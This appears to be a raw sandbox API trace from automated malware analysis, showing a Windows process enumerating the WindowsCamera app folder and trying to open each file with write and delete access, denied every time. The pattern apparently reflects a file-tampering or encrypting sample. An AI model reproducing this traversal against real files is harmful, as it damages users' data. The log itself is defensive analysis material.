	[0090.339] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerasplashscreen.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.339] GetLastError () returned 0x5
	[0090.339] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.339] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.339] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92bc7ffd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x92bc7ffd, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x92bc7ffd, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x5a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraWideTile.contrast-black_scale-200.png", cAlternateFileName="")) returned 1
	[0090.339] wcscmp (_String1="WindowsCameraWideTile.contrast-black_scale-200.png", _String2=".") returned 1
	[0090.339] wcscmp (_String1="WindowsCameraWideTile.contrast-black_scale-200.png", _String2="..") returned 1
	[0090.339] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x160) returned 0x2e345d8
	[0090.339] wcscpy (in: _Dest=0x2e345d8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.340] wcscat (in: _Dest=0x2e345d8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.340] wcscat (in: _Dest=0x2e345d8, _Source="WindowsCameraWideTile.contrast-black_scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.contrast-black_scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.contrast-black_scale-200.png"
	[0090.340] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.contrast-black_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerawidetile.contrast-black_scale-200.png")) returned 0x20
	[0090.340] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.contrast-black_scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.340] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.contrast-black_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerawidetile.contrast-black_scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.340] GetLastError () returned 0x5
	[0090.340] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.contrast-black_scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.340] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e345d8) returned 1
	[0090.340] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92bc7ffd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x92d27c4b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x92d27c4b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x587, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraWideTile.contrast-white_scale-200.png", cAlternateFileName="")) returned 1
	[0090.340] wcscmp (_String1="WindowsCameraWideTile.contrast-white_scale-200.png", _String2=".") returned 1
	[0090.340] wcscmp (_String1="WindowsCameraWideTile.contrast-white_scale-200.png", _String2="..") returned 1
	[0090.340] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x160) returned 0x2e345d8
	[0090.340] wcscpy (in: _Dest=0x2e345d8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.340] wcscat (in: _Dest=0x2e345d8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.340] wcscat (in: _Dest=0x2e345d8, _Source="WindowsCameraWideTile.contrast-white_scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.contrast-white_scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.contrast-white_scale-200.png"
	[0090.340] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.contrast-white_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerawidetile.contrast-white_scale-200.png")) returned 0x20
	[0090.341] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.contrast-white_scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.341] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.contrast-white_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerawidetile.contrast-white_scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.341] GetLastError () returned 0x5
	[0090.341] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.contrast-white_scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.341] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e345d8) returned 1
	[0090.341] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92d27c4b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x92d27c4b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x92d27c4b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x5a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraWideTile.scale-200.png", cAlternateFileName="")) returned 1
	[0090.341] wcscmp (_String1="WindowsCameraWideTile.scale-200.png", _String2=".") returned 1
	[0090.341] wcscmp (_String1="WindowsCameraWideTile.scale-200.png", _String2="..") returned 1
	[0090.341] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x142) returned 0x2d883a8
	[0090.341] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.341] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.341] wcscat (in: _Dest=0x2d883a8, _Source="WindowsCameraWideTile.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.scale-200.png"
	[0090.341] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerawidetile.scale-200.png")) returned 0x20
	[0090.341] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.341] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerawidetile.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.341] GetLastError () returned 0x5
	[0090.341] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraWideTile.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.342] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.342] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92d27c4b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x92d27c4b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x92d27c4b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x5a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraWideTile.scale-200.png", cAlternateFileName="")) returned 0
	[0090.342] FindClose (in: hFindFile=0x477a828 | out: hFindFile=0x477a828) returned 1
	[0090.342] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502dc88) returned 1
	[0090.342] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5026958) returned 1
	[0090.342] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5028320) returned 1
	[0090.342] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92ae31dc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1a4790e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92d27c4b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsIcons", cAlternateFileName="WINDOW~1")) returned 0
	[0090.343] FindClose (in: hFindFile=0x477a7a8 | out: hFindFile=0x477a7a8) returned 1
	[0090.343] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502aed0) returned 1
	[0090.343] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491d8f8) returned 1
	[0090.343] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e33f58) returned 1
	[0090.343] FindNextFileW (in: hFindFile=0x46a8318, lpFindFileData=0x502ac68 | out: lpFindFileData=0x502ac68*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf0ee0a7b, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xf0ee0a7b, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf0ee0a7b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0090.343] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0090.343] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0090.343] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x116) returned 0x4771868
	[0090.343] wcscpy (in: _Dest=0x4771868, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe"
	[0090.343] wcscat (in: _Dest=0x4771868, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\"
	[0090.343] wcscat (in: _Dest=0x4771868, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0090.343] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11a) returned 0x2d883a8
	[0090.343] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0090.343] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0090.343] wcscat (in: _Dest=0x2d883a8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0090.343] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502aed0
	[0090.343] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf0ee0a7b, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xf0ee0a7b, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf0ee0a7b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a9a8
	[0090.349] wcscmp (_String1=".", _String2=".") returned 0
	[0090.349] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf0ee0a7b, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xf0ee0a7b, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf0ee0a7b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.349] wcscmp (_String1="..", _String2=".") returned 1
	[0090.349] wcscmp (_String1="..", _String2="..") returned 0
	[0090.349] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf0ee0a7b, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xf0ee0a7b, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf0ee0a7b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0090.349] FindClose (in: hFindFile=0x477a9a8 | out: hFindFile=0x477a9a8) returned 1
	[0090.349] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502aed0) returned 1
	[0090.349] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.349] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771868) returned 1
	[0090.349] FindNextFileW (in: hFindFile=0x46a8318, lpFindFileData=0x502ac68 | out: lpFindFileData=0x502ac68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92d4dea9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x92d4dea9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x92d4dea9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x998, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0090.349] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0090.349] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0090.349] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x491ce80
	[0090.349] wcscpy (in: _Dest=0x491ce80, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe"
	[0090.349] wcscat (in: _Dest=0x491ce80, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\"
	[0090.349] wcscat (in: _Dest=0x491ce80, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\resources.pri"
	[0090.349] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\resources.pri")) returned 0x20
	[0090.350] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0090.350] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.350] GetLastError () returned 0x5
	[0090.350] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0090.350] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491ce80) returned 1
	[0090.350] FindNextFileW (in: hFindFile=0x46a8318, lpFindFileData=0x502ac68 | out: lpFindFileData=0x502ac68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92d4dea9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x92d4dea9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x92d4dea9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x998, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 0
	[0090.350] FindClose (in: hFindFile=0x46a8318 | out: hFindFile=0x46a8318) returned 1
	[0090.350] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502ac68) returned 1
	[0090.350] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4773630) returned 1
	[0090.350] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477df50) returned 1

Thread:
	id = 1032
	os_tid = 0x1c90

	[0082.643] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x4770f78
	[0082.643] wcscpy (in: _Dest=0x4770f78, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe"
	[0082.643] wcscat (in: _Dest=0x4770f78, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.643] wcscat (in: _Dest=0x4770f78, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\*"
	[0082.643] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502aed0
	[0082.643] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91aa5e6e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xf0eba822, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf0eba822, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8358
	[0082.645] wcscmp (_String1=".", _String2=".") returned 0
